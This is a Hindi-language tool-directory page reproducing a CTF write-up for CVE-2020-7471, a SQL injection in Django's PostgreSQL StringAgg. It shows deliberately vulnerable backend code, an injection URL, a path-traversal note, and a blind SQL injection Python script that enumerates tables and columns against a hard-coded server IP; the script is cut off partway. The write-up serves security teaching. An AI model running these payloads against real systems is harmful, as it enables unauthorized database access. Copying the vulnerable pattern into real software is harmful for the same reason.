Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/tempuss/ctf_cve-2020-7471
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubtempuss/ctf_cve-2020-7471

CTF_CVE-2020-7471

CTF चुनौती जो CVE-2020-7471 का शोषण करती है, PostgreSQL StringAgg में Django SQL इंजेक्शन भेद्यता, Docker सेटअप और एक्सप्लॉइट स्क्रिप्ट के साथ।

रिपॉजिटरी देखें
165 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DOBBY_IS_FREE!

  • प्रस्तुत CTF: 2020 Christmas CTF
  • क्षेत्र: WEB
  • कीवर्ड: DOBBY_IS_FREE!
  • कठिनाई: ★★★☆☆

पृष्ठभूमि

आमतौर पर वेब हैकर्स mysql पर SQL Injection का अध्ययन करते हैं, इसलिए मैंने postgresql का उपयोग करके एक इंजेक्शन समस्या बनाई ताकि विभिन्न डेटाबेस पर हमलों का अनुभव किया जा सके।

समाधान

इच्छित समाधान

  • Django सेवा में उत्पन्न हुई कमजोरी के कारण, संकेत देने के लिए HTTP प्रतिक्रिया में Version नामक एक कस्टम हेडर जोड़ा गया, जिसमें Django, Postgres संस्करण का उल्लेख किया गया। Django 3.0.1 संस्करण में होने वाली SQL Injection कमजोरी की खोज करने पर सार्वजनिक POC कोड आदि उपलब्ध हैं। Custom_Header Response

  • वेबसाइट पर पहुँचने पर पोस्ट सूची प्रदर्शित होती है Post List

  • बाईं ओर के नंबर पर क्लिक करने पर उस पोस्ट के pk और content मान के आधार पर पोस्ट देखी जाती है Post

  • वास्तविक बैकएंड कोड

results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
    custom_field=StringAgg('content', delimiter=content)).all()

StringAgg फ़ंक्शन स्ट्रिंग को डिलीमीटर के साथ जोड़कर लौटाता है, लेकिन इस इनपुट मान के लिए कोई इनपुट सत्यापन नहीं है, इसलिए content भाग में इंजेक्शन पेलोड डाला जा सकता है।

http:///vul/1/?content=-\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --

वास्तविक हैकर्स का समाधान

  • nginx सर्वर कॉन्फ़िगरेशन त्रुटि के कारण Path Traversal कमजोरी उत्पन्न हुई http://118.67.135.137/static../ URL तक पहुँचने के बाद सर्वर की सभी फ़ाइलों तक पहुँच संभव हो गई, जिससे बैकअप डंप फ़ाइल पढ़कर फ़्लैग प्राप्त हुआ

कमजोरी

CVE-2020-7471

  • Django संस्करण 1.11, 2.2, 3.0.x ≤ 3.0.2 में पाई गई SQL Injection कमजोरी CVE-2020-7471 का उपयोग कर समस्या

  • postgresql संबंधी फ़ंक्शनों में से StringAgg फ़ंक्शन से संबंधित कोड में तर्क मान जाँच सुविधा की कमी के कारण उत्पन्न कमजोरी

एक्सप्लॉइट

  • निम्नलिखित एक्सप्लॉइट कोड है:
import requests

server = "http://118.67.135.137/post/"

id = 1
content_param = f"/?content="
content = "IS_FREE!"



def exists_check(content):
    """प्रतिक्रिया मान जाँच फ़ंक्शन"""
    if "title" in str(content):
        return True
    else:
        return False



headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Host": "127.0.0.1:8000",
    "Pragma": "no-cache",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}

def get_table_info_from_information_schema():
    # तालिकाओं की संख्या जाँच
    table_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        table_count = table_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            table_count = table_count - 1
            table_count_get = True


    # तालिका सूची निकालें
    table_row_list = []
    # public तालिकाओं की संख्या के अनुसार लूप
    for table_row in range(0,table_count):
        # तालिका नाम की लंबाई जाँच
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
        # तालिका नाम के आकार के अनुसार लूप
        table_name = ""
        for i in range(0,table_name_size):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    table_name = table_name+str(chr(ascii))
                    break
        table_row_list.append(table_name)

    print(table_row_list)

def get_column_info_from_information_schema():
    vul_flag_column_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        #time.sleep(1)
        vul_flag_column_count = vul_flag_column_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            vul_flag_column_count = vul_flag_column_count - 1
            table_count_get = True

    column_name_list = []
    for i in range(0,vul_flag_column_count):
        # तालिका नाम की लंबाई जाँच
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
टूल डाउनलोड करें